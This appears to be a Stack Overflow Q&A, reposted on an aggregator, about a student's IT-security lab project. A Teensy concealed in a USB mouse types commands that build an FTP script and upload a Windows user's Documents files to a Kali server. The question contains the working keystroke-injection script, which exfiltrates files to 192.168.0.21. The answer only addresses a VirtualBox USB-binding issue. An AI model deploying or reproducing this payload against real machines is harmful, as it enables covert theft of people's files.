VirtualBox Keystroke gets random changes

喜你入骨 提交于 2019-12-14 02:44:00

问题


I have a school project about it security. My job is it to customize a hardware mouse with a usb hub and a teensy to program it.

The code on the teensy gets executed when it gets dark (light dependent resistor). The code takes some files on the win7 vm and upload them to an Apache2 server hosted on a kali vm (via cmd commands in win7 vm). Everything works fine in vmware, but I have to use virtualbox for my project.

My problem is now that in virtualbox the cmd commands randomly changes with for example: some letters changes from lowercase to uppercase resulting in a wrong path so the files can't be found, or sometimes missing a backslash which also results in a wrong path.

Like I said its only in virtualbox, in vmware my whole project works perfectly fine, so I don't think its a hardware problem

I use the latest virtualbox version 5.0.12

This is (not the actual) a sample of my teensy script

CommandAtRunBarMSWIN("cmd");
    delay(1500);
    Keyboard.println("echo cd upload > C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo prompt off >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo mput C:\\Users\\user\\Documents\\*.* >> C:\\Users\\user\\Documents\\ftp.txt");
    delay(50);
    Keyboard.println("echo cd upload > \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mkdir %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo cd %date%-%username% >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo prompt off >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("echo mput \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\*.*\" >> \"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\"");
    delay(50);
    Keyboard.println("ftp -A -s:C:\\Users\\user\\Documents\\ftp.txt 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("ftp -A -s:\"C:\\Dokumente und Einstellungen\\user\\Eigene Dateien\\ftp2.txt\" 192.168.0.21");
    delay(3000);
    Keyboard.println("bye");
    delay(300);
    Keyboard.println("exit");

回答1:


I found out what the problem was. I forgot to manually bind the USB Teensy in Virtualbox with the checkbox, so I think it kind of had some problems with drivers and stuff I don't know.

It works now as long as I always bind it manually in virtualbox before I run it.



来源:https://stackoverflow.com/questions/34595073/virtualbox-keystroke-gets-random-changes

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!